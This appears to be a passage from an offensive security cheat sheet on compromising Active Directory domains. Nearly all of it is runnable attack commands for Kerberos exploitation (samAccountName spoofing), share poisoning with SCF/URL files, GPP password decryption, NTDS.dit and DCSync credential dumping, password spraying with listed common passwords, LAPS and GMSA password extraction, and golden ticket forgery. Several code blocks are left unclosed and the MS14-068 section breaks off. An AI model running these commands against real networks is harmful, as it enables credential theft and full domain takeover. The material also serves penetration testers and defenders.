## Active Directory Recon

### Using BloodHound

Use the correct collector
* AzureHound for Azure Active Directory
* SharpHound for local Active Directory

* use [AzureHound](https://github.com/BloodHoundAD/AzureHound) (more info: [Cloud - Azure Pentest](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md#azure-recon-tools))

* use [BloodHound](https://github.com/BloodHoundAD/BloodHound)
  ```powershell
  # run the collector on the machine using SharpHound.exe
  # https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe
  # /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe
  .\SharpHound.exe -c all -d active.htb --searchforest
  .\SharpHound.exe -c all,GPOLocalGroup # all collection doesn't include GPOLocalGroup by default
  .\SharpHound.exe --CollectionMethod DCOnly # only collect from the DC, doesn't query the computers (more stealthy)

  .\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --JSONFolder <PathToFile>
  .\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --domaincontroller 10.10.10.100 -d active.htb
  .\SharpHound.exe -c all,GPOLocalGroup --outputdirectory C:\Windows\Temp --randomizefilenames --prettyjson --nosavecache --encryptzip --collectallproperties --throttle 10000 --jitter 23

  # or run the collector on the machine using Powershell
  # https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1
  # /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1
  Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
  Invoke-BloodHound -CollectionMethod All  -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile>

  # or remotely via BloodHound Python
  # https://github.com/fox-it/BloodHound.py
  pip install bloodhound
  bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
  
  # or locally/remotely from an ADExplorer snapshot from SysInternals (ADExplorer remains a legitimate binary signed by Microsoft, avoiding detection with security solutions)
  # https://github.com/c3c/ADExplorerSnapshot.py
  pip3 install --user .
  ADExplorerSnapshot.py <snapshot path> -o <*.json output folder path>
  ```
* Collect more data for certificates exploitation using Certipy
  ```ps1
  certipy find 'corp.local/john:Passw0rd@dc.corp.local' -bloodhound
  certipy find 'corp.local/john:Passw0rd@dc.corp.local' -old-bloodhound
  certipy find 'corp.local/john:Passw0rd@dc.corp.local' -vulnerable -hide-admins -username user@domain -password Password123
  ```

Then import the zip/json files into the Neo4J database and query them.

```powershell
root@payload$ apt install bloodhound 

# start BloodHound and the database
root@payload$ neo4j console
# or use docker
root@payload$ docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/bloodhound neo4j

root@payload$ ./bloodhound --no-sandbox
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
```

You can add some custom queries like :
* [Bloodhound-Custom-Queries from @hausec](https://github.com/hausec/Bloodhound-Custom-Queries/blob/master/customqueries.json)
* [BloodHoundQueries from CompassSecurity](https://github.com/CompassSecurity/BloodHoundQueries/blob/master/customqueries.json)
* [BloodHound Custom Queries from Exegol - @ShutdownRepo](https://raw.githubusercontent.com/ShutdownRepo/Exegol/master/sources/bloodhound/customqueries.json)
* [Certipy BloodHound Custom Queries from ly4k](https://github.com/ly4k/Certipy/blob/main/customqueries.json)

Replace the customqueries.json file located at `/home/username/.config/bloodhound/customqueries.json` or `C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json`.

## Most common paths to AD compromise

### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)

This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine.

```powershell
# remote
rpcclient $> lookupnames john.smith
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)

# loc
wmic useraccount get name,sid

#### samAccountName spoofing

> During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a ST to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller.

**Requirements**

* MachineAccountQuota > 0

**Check for exploitation**

0. Check the MachineAccountQuota of the account
  ```powershell
  crackmapexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ
  StandIn.exe --object ms-DS-MachineAccountQuota=*
  ```
1. Check if the DC is vulnerable
  ```powershell
  crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac
  ```

**Exploitation**

0. Create a computer account
    ```powershell
    impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'

    powermad@windows> . .\Powermad.ps1
    powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
    powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose

    sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword
    ```
1. Clear the controlled machine account `servicePrincipalName` attribute
    ```ps1
    impacket@linux> addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController

    powershell@windows> . .\Powerview.ps1
    powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
    ```
2. (CVE-2021-42278) Change the controlled machine account `sAMAccountName` to a Domain Controller's name without the trailing `$`
    ```ps1
    # https://github.com/SecureAuthCorp/impacket/pull/1224
    impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'

    powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
    ```
3. Request a TGT for the controlled machine account
    ```ps1
    impacket@linux> getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'

    cmd@windows> Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
    ```
4. Reset the controlled machine account sAMAccountName to its old value 
    ```ps1
    impacket@linux> renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'

    powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
    ```
5. (CVE-2021-42287) Request a service ticket with `S4U2self` by presenting the TGT obtained before
    ```ps1
    # https://github.com/SecureAuthCorp/impacket/pull/1202
    impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'

### SCF and URL file attack against writeable share

Theses attacks can be automated with [Farmer.exe](https://github.com/mdsecactivebreach/Farmer) and [Crop.exe](https://github.com/mdsecactivebreach/Farmer/tree/main/crop)

```ps1
# Farmer to receive auth
farmer.exe <port> [seconds] [output]
farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
farmer.exe 8888 60 # one minute

# Crop can be used to create various file types that will trigger SMB/WebDAV connections for poisoning file shares during hash collection attacks
crop.exe <output folder> <output filename> <WebDAV server> <LNK value> [options]
Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec
```

#### SCF Files

Drop the following `@something.scf` file inside a share and start listening with Responder : `responder -wrf --lm -v -I eth0`

```powershell
[Shell]
Command=2
IconFile=\\10.10.10.10\Share\test.ico
[Taskbar]
Command=ToggleDesktop
```

Using [`crackmapexec`](https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/modules/slinky.py):

```ps1
crackmapexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK SERVER=IP_RESPONDER #scf
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER #lnk
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER CLEANUP
```

#### URL Files

This attack also works with `.url` files and `responder -I eth0 -v`.

```powershell
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.10.10.10\%USERNAME%.icon
IconIndex=1

### Passwords in SYSVOL & Group Policy Preferences

Find password in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: `\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.

```powershell
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```

Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx)

```bash
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

e.g: 
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
```

#### Automate the SYSVOL and passwords research

* `Metasploit` modules to enumerate shares and credentials
    ```c
    scanner/smb/smb_enumshares
    post/windows/gather/enum_shares
    post/windows/gather/credentials/gpp
    ```

* CrackMapExec modules
    ```powershell
    cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_autologin
    cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_password
    ```

* [Get-GPPPassword](https://github.com/SecureAuthCorp/impacket/blob/master/examples/Get-GPPPassword.py)
  ```powershell
  # with a NULL session
  Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'

  # with cleartext credentials
  Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'

  # pass-the-hash
  Get-GPPPassword.py -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
  ```

#### Mitigations

* Install [KB2962486](https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/ms14-025) on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
* Delete existing GPP xml files in SYSVOL containing passwords.
* Don’t put passwords in files that are accessible by all authenticated users.

### Exploit Group Policy Objects GPO

> Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner

:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local

GPO are stored in the DC in `\\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\`, inside two folders **User** and **Machine**.
If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at `Machine\Preferences\ScheduledTasks`.

:warning: Domain members refresh group policy settings every 90 minutes by default but it can locally be forced with the following command: `gpupdate /force`. 

#### Find vulnerable GPO

Look a GPLink where you have the **Write** right.

```powershell
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs |  Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}
```

### Dumping AD Domain Credentials

You will need the following files to extract the ntds : 
- NTDS.dit file
- SYSTEM hive (`C:\Windows\System32\SYSTEM`)

Usually you can find the ntds in two locations : `systemroot\NTDS\ntds.dit` and `systemroot\System32\ntds.dit`.
- `systemroot\NTDS\ntds.dit` stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data).
- `systemroot\System32\ntds.dit` is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.

However you can change the location to a custom one, you will need to query the registry to get the current location.

```powershell
reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file"
```

#### Using ndtsutil

```powershell
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
```

or 

```powershell
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
```

#### Using Vshadow

```powershell
vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
```

You can also use the Nishang script, available at : [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)

```powershell
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
```

#### Using vssadmin

```powershell
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
```

#### Using DiskShadow (a Windows signed binary)

```powershell
diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s  c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak
```

#### Using esentutl.exe

Copy/extract a locked file such as the AD Database

```powershell
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
```

#### Extract hashes from ntds.dit

then you need to use [secretsdump](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) to extract the hashes, use the `LOCAL` options to use it on a retrieved ntds.dit

```java
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
```

[secretsdump](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) also works remotely

```java
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status 
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
```

* `-pwd-last-set`: Shows pwdLastSet attribute for each NTDS.DIT account.
* `-user-status`: Display whether or not the user is disabled.

#### Alternatives - modules

Metasploit modules

```c
windows/gather/credentials/domain_hashdump
```

PowerSploit module

```powershell
Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit
```

CrackMapExec module

```powershell
cme smb 10.10.0.202 -u username -p password --ntds vss
cme smb 10.10.0.202 -u username -p password --ntds drsuapi #default
```

#### Using Mimikatz DCSync

Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data. 

```powershell
# DCSync only one user
mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt

# DCSync all users of the domain
mimikatz# lsadump::dcsync /domain:htb.local /all /csv
```

:warning: Read-Only Domain Controllers are not allowed to pull password data for users by default.

#### Using Mimikatz sekurlsa

Dumps credential data in an Active Directory domain when run on a Domain Controller.
:warning: Requires administrator access with debug or Local SYSTEM rights

```powershell
sekurlsa::krbtgt
lsadump::lsa /inject /name:krbtgt
```

#### Crack NTLM hashes with hashcat

Useful when you want to have the clear text password or when you need to make stats about weak passwords.

Recommended wordlists:
- [Rockyou.txt](https://weakpass.com/wordlist/90)
- [Have I Been Pwned founds](https://hashmob.net/hashlists/info/4169-Have%20I%20been%20Pwned%20V8%20(NTLM))
- [Weakpass.com](https://weakpass.com/)
- Read More at [Methodology and Resources/Hash Cracking.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Hash%20Cracking.md)

```powershell
# Basic wordlist
# (-O) will Optimize for 32 characters or less passwords
# (-w 4) will set the workload to "Insane" 
$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r myrules.rule --opencl-device-types 1,2

# Generate a custom mask based on a wordlist
$ git clone https://github.com/iphelix/pack/blob/master/README
$ python2 statsgen.py ../hashcat.potfile -o hashcat.mask
$ python2 maskgen.py hashcat.mask --targettime 3600 --optindex -q -o hashcat_1H.hcmask
```

:warning: If the password is not a confidential data (challenges/ctf), you can use online "cracker" like :
- [hashmob.net](https://hashmob.net)
- [crackstation.net](https://crackstation.net)
- [hashes.com](https://hashes.com/en/decrypt/hash)

### User Hunting

Sometimes you need to find a machine where a specific user is logged in.    
You can remotely query every machines on the network to get a list of the users's sessions.

* CrackMapExec
  ```ps1
  cme smb 10.10.10.0/24 -u Administrator -p 'P@ssw0rd' --sessions
  SMB         10.10.10.10    445    WIN-8OJFTLMU1IG  [+] Enumerated sessions
  SMB         10.10.10.10    445    WIN-8OJFTLMU1IG  \\10.10.10.10            User:Administrator
  ```
* Impacket Smbclient
  ```ps1
  $ impacket-smbclient Administrator@10.10.10.10
  # who
  host:  \\10.10.10.10, user: Administrator, active:     1, idle:     0
  ```
* PowerView Invoke-UserHunter
  ```ps1
  # Find computers were a Domain Admin OR a specified user has a session
  Invoke-UserHunter
  Invoke-UserHunter -GroupName "RDPUsers"
  Invoke-UserHunter -Stealth
  ```


### Password spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password. 

> The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates. 

Most of the time the best passwords to spray are :

- `P@ssw0rd01`, `Password123`, `Password1`, `Hello123`, `mimikatz`
- `Welcome1`/`Welcome01`
- $Companyname1 :`$Microsoft1`
- SeasonYear : `Winter2019*`, `Spring2020!`, `Summer2018?`, `Summer2020`, `July2020!`
- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
- Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)


#### Kerberos pre-auth bruteforcing

Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.

> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**.

* Username bruteforce
  ```powershell
  root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
  ```
* Password bruteforce
  ```powershell
  root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
  ```
* Password spray
  ```powershell
  root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
  root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
  root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
  ```

#### Spray a pre-generated passwords list

* Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network.
  ```powershell
  crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
  ```
* Using `DomainPasswordSpray` to spray a password against all users of a domain.
  ```powershell
  # https://github.com/dafthack/DomainPasswordSpray
  Invoke-DomainPasswordSpray -Password Summer2021!
  # /!\ be careful with the account lockout !
  Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
  ```
* Using `SMBAutoBrute`.
  ```powershell
  Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose
  ```

#### Spray passwords against the RDP service

* Using [RDPassSpray](https://github.com/xFreed0m/RDPassSpray) to target RDP services.
  ```powershell
  git clone https://github.com/xFreed0m/RDPassSpray
  python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
  ```
* Using [hydra](https://github.com/vanhauser-thc/thc-hydra) and [ncrack](https://github.com/nmap/ncrack) to target RDP services.
  ```powershell
  hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
  ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
  ```

#### BadPwdCount attribute

> The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.

```powershell
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
LDAP        10.0.2.11       389    dc01       Guest      badpwdcount: 0 pwdLastSet: <never>
LDAP        10.0.2.11       389    dc01       krbtgt     badpwdcount: 0 pwdLastSet: <never>
```


### Password in AD User comment

```powershell
$ crackmapexec ldap domain.lab -u 'username' -p 'password' -M user-desc
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M get-desc-users
GET-DESC... 10.0.2.11       389    dc01    [+] Found following users: 
GET-DESC... 10.0.2.11       389    dc01    User: Guest description: Built-in account for guest access to the computer/domain
GET-DESC... 10.0.2.11       389    dc01    User: krbtgt description: Key Distribution Center Service Account
```

There are 3-4 fields that seem to be common in most AD schemas: `UserPassword`, `UnixUserPassword`, `unicodePwd` and `msSFU30Password`.

```powershell
enum4linux | grep -i desc

Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
```

or dump the Active Directory and `grep` the content.

```powershell
ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
```


### Password of Pre-Created Computer Account

When `Assign this computer account as a pre-Windows 2000 computer` checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account **SERVERDEMO$** would have the password **serverdemo**. 

```ps1
# Create a machine with default password
# must be run from a domain joined device connected to the domain
djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc
```

* When you attempt to login using the credential you should have the following error code : `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`.
* Then you need to change the password with [rpcchangepwd.py](https://github.com/SecureAuthCorp/impacket/pull/1304)


### Reading LAPS Password

> Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure. 

#### Determine if LAPS is installed

```ps1
Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
```

#### Extract LAPS password

> The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users

 - From Windows:

   * adsisearcher (native binary on Windows 8+)
       ```powershell
       ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() | ForEach-Object { $_.properties}
       ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=MACHINE$))").findAll() | ForEach-Object { $_.properties}
       ```

   * [PowerView](https://github.com/PowerShellEmpire/PowerTools)
       ```powershell
       PS > Import-Module .\PowerView.ps1
       PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
       ```

   * [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)
       ```powershell
       $ Get-LAPSComputers

       $ Find-LAPSDelegatedGroups
       $ Find-AdmPwdExtendedRights
       ```

   * Powershell AdmPwd.PS
       ```powershell
       foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
       ```

 - From Linux:

   * [pyLAPS](https://github.com/p0dalirius/pyLAPS) to **read** and **write** LAPS passwords:
       ```bash
       # Read the password of all computers
       ./pyLAPS.py --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
       # Write a random password to a specific computer
       ./pyLAPS.py --action set --computer 'PC01$' -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1

      ```

#### Grant LAPS Access
The members of the group **"Account Operator"** can add and modify all the non admin users and groups. Since **LAPS ADM** and **LAPS READ** are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password

```ps1
Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain "domain.local"
Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local"
```


### Reading GMSA Password

> User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.

#### GMSA Attributes in the Active Directory 
* `msDS-GroupMSAMembership` (`PrincipalsAllowedToRetrieveManagedPassword`) - stores the security principals that can access the GMSA password.
* `msds-ManagedPassword` - This attribute contains a BLOB with password information for group-managed service accounts.
* `msDS-ManagedPasswordId` - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
* `msDS-ManagedPasswordInterval` - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.


#### Extract NT hash from the Active Directory

* [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) (C#)
  ```ps1
  # https://github.com/rvazarkar/GMSAPasswordReader
  GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
  ```

* [gMSADumper (Python)](https://github.com/micahvandeusen/gMSADumper)
   ```powershell
  # https://github.com/micahvandeusen/gMSADumper
  python3 gMSADumper.py -u User -p Password1 -d domain.local
  ```
  
* Active Directory Powershell
  ```ps1
  $gmsa =  Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword'
  $blob = $gmsa.'msDS-ManagedPassword'
  $mp = ConvertFrom-ADManagedPasswordBlob $blob
  $hash1 =  ConvertTo-NTHash -Password $mp.SecureCurrentPassword
  ```

* [gMSA_Permissions_Collection.ps1](https://gist.github.com/kdejoyce/f0b8f521c426d04740148d72f5ea3f6f#file-gmsa_permissions_collection-ps1) based on Active Directory PowerShell module


### Forging Golden GMSA

> One notable difference between a **Golden Ticket** attack and the **Golden GMSA** attack is that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is compromised, there is no way to protect the gMSAs associated with it.

* Using [GoldenGMSA](https://github.com/Semperis/GoldenGMSA)
    ```ps1
    # Enumerate all gMSAs
    GoldenGMSA.exe gmsainfo
    # Query for a specific gMSA
    GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112

    # Dump all KDS Root Keys
    GoldenGMSA.exe kdsinfo
    # Dump a specific KDS Root Key
    GoldenGMSA.exe kdsinfo --guid 46e5b8b9-ca57-01e6-e8b9-fbb267e4adeb

    # Compute gMSA password
    # --sid <gMSA SID>: SID of the gMSA (required)
    # --kdskey <Base64-encoded blob>: Base64 encoded KDS Root Key
    # --pwdid <Base64-encoded blob>: Base64 of msds-ManagedPasswordID attribute value
    GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 # requires privileged access to the domain
    GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45UZXyuYB[...]G2/M= # requires LDAP access
    GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45U[...]SM0R7djG2/M= --pwdid AQAAA[..]AAA # Offline mode
    ```

### Pass-the-Ticket Golden Tickets

Forging a TGT require:
* the `krbtgt` NT hash
* since recently, we cannot use a non-existent account name as a result of `CVE-2021-42287` mitigations

> The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt NT hash must be used.

#### Using Mimikatz

```powershell
# Get info - Mimikatz
lsadump::lsa /inject /name:krbtgt
lsadump::lsa /patch
lsadump::trust /patch
lsadump::dcsync /user:krbtgt

# Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```

#### Using Meterpreter 

```powershell
# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
